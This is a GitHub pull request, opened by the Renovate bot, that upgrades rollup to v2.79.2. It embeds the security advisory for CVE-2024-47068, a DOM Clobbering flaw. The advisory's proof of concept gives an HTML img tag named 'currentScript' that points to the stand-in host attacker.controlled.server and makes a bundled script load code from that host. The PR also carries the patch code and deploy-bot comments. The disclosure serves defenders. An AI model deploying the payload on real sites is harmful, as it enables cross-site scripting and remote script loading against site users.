chore(deps): update dependency rollup to v2.79.2 [security] #12051

renovate · 2024-09-24T14:31:50Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
rollup (source)	`2.79.1` -> `2.79.2`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

`v2.79.2`

Compare Source

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Never, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

ibmdotcom-bot · 2024-09-24T14:46:19Z

Deploy preview created for package Web Components (React wrapper):
https://ibmdotcom-web-components-react.s3-web.us-east.cloud-object-storage.appdomain.cloud/deploy-previews/12051/index.html

Built with commit: e452faea1ba0948eeeafc020c1cb6750330945b9

ibmdotcom-bot · 2024-09-24T14:46:57Z

Deploy preview created for package Web Components:
https://ibmdotcom-webcomponents.s3.us-east.cloud-object-storage.appdomain.cloud/deploy-previews/12051/index.html

Built with commit: e452faea1ba0948eeeafc020c1cb6750330945b9

netlify · 2024-12-11T18:29:59Z

✅ Deploy Preview for ibm-dotcom-web-components-react-wrap ready!

Name	Link
🔨 Latest commit	`cd24903`
🔍 Latest deploy log	https://app.netlify.com/sites/ibm-dotcom-web-components-react-wrap/deploys/6759d880b392ca0008676e44
😎 Deploy Preview	https://deploy-preview-12051--ibm-dotcom-web-components-react-wrap.netlify.app
📱 Preview on mobile	Toggle QR Code... Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify site configuration.

netlify · 2024-12-11T18:33:33Z

✅ Deploy Preview for ibm-dotcom-web-components ready!

Name	Link
🔨 Latest commit	`cd24903`
🔍 Latest deploy log	https://app.netlify.com/sites/ibm-dotcom-web-components/deploys/6759d88075fcbc000859d9c1
😎 Deploy Preview	https://deploy-preview-12051--ibm-dotcom-web-components.netlify.app
📱 Preview on mobile	Toggle QR Code... Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify site configuration.

renovate bot requested a review from a team as a code owner September 24, 2024 14:31

renovate bot requested review from IgnacioBecerra and sangeethababu9223 and removed request for a team September 24, 2024 14:31

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security]~~ chore(deps): update dependency rollup to v3 [security] - autoclosed Sep 26, 2024

renovate bot closed this Sep 26, 2024

renovate bot deleted the renovate/npm-rollup-vulnerability branch September 26, 2024 22:04

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security] - autoclosed~~ chore(deps): update dependency rollup to v3 [security] Sep 27, 2024

renovate bot restored the renovate/npm-rollup-vulnerability branch September 27, 2024 17:12

renovate bot reopened this Sep 27, 2024

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from b27a25f to e452fae Compare September 27, 2024 17:14

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security]~~ chore(deps): update dependency rollup to v2.79.2 [security] Sep 27, 2024

chore(deps): update dependency rollup to v2.79.2 [security]

cd24903

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from e452fae to cd24903 Compare December 11, 2024 18:22

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency rollup to v2.79.2 [security] #12051

chore(deps): update dependency rollup to v2.79.2 [security] #12051

renovate bot commented Sep 24, 2024 •

edited

Loading

ibmdotcom-bot commented Sep 24, 2024 •

edited

Loading

ibmdotcom-bot commented Sep 24, 2024 •

edited

Loading

netlify bot commented Dec 11, 2024

netlify bot commented Dec 11, 2024

chore(deps): update dependency rollup to v2.79.2 [security] #12051

Are you sure you want to change the base?

chore(deps): update dependency rollup to v2.79.2 [security] #12051

Conversation

renovate bot commented Sep 24, 2024 • edited Loading

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Release Notes

v2.79.2

Configuration

ibmdotcom-bot commented Sep 24, 2024 • edited Loading

ibmdotcom-bot commented Sep 24, 2024 • edited Loading

netlify bot commented Dec 11, 2024

✅ Deploy Preview for ibm-dotcom-web-components-react-wrap ready!

netlify bot commented Dec 11, 2024

✅ Deploy Preview for ibm-dotcom-web-components ready!

renovate bot commented Sep 24, 2024 •

edited

Loading

Gadget found in `rollup`

`v2.79.2`

ibmdotcom-bot commented Sep 24, 2024 •

edited

Loading

ibmdotcom-bot commented Sep 24, 2024 •

edited

Loading